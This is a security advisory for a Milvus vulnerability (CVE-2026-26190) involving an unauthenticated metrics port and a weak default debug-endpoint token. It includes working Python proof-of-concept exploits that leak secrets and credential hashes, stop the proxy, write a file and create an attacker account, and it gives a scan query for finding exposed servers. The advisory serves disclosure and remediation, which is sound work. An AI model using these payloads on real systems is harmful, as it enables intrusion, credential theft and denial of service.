Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System CompromiseCVE-2026-26190

## Summary Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities: 1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. ## Details ### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint The `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to: - **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc. - **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service. - **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem. ### Vulnerability 2: Unauthenticated REST API on Metrics Port Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports. An attacker can perform any business operation without credentials, including: - Creating, listing, and deleting collections - Inserting and querying data - Creating, listing, and deleting user credentials - Modifying user passwords ## Proof of Concept ### PoC 1 — `/expr` Endpoint Exploitation ```python import requests url = "http://<target>:9091/expr" # Leak sensitive configuration (e.g., MinIO secret key) res = requests.get(url, params={ "auth": "by-dev", "code": "param.MinioCfg.SecretAccessKey.GetValue()" }, timeout=5) print(res.json().get("output", "")) # Retrieve hashed credentials for the root user res = requests.get(url, params={ "auth": "by-dev", "code": "rootcoord.meta.GetCredential(ctx, 'root')" }, timeout=5) print(res.json().get("output", "")) # Denial of Service — stop the proxy res = requests.get(url, params={ "auth": "by-dev", "code": "proxy.Stop()" }, timeout=5) # Arbitrary file write (potential RCE) for cmd in [ 'param.Save("proxy.accessLog.localPath", "/tmp")', 'param.Save("proxy.accessLog.formatters.base.format", "whoami")', 'param.Save("proxy.accessLog.filename", "evil.sh")', 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")' ]: requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5) ``` ### PoC 2 — Unauthenticated REST API Access ```python import requests target_url = "http://<target>:9091" # Create a user without any authentication res = requests.post(f"{target_url}/api/v1/credential", json={ "username": "attacker_user", "password": "MTIzNDU2Nzg5", }) print(res.json()) # List all users res = requests.get(f"{target_url}/api/v1/credential/users") print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']} # Create and delete collections, insert data — all without authentication ``` ## Internet Exposure A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern: ``` http.body="404 page not found" && port="9091" ``` This indicates the vulnerability is actively exploitable in real-world production environments. ## Impact An unauthenticated remote attacker with network access to port 9091 can: 1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values. 2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls. 3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges. 4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata. 5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation. ## Remediation ### Recommended Fixes 1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. 2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently. 3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured. 4. **Enforce authentication on all API endpoints**, regardless of which port they are served on. ### User Mitigations (until patched) - Block external access to port 9091 using firewall rules or network policies. - If running in Docker/Kubernetes, do not expose port 9091 outside the internal network. - Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API). ## Credit This vulnerability was discovered and responsibly reported by **YingLin Xie** ([email protected]). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).

Quoted source text, attributed separately from HOL analysis.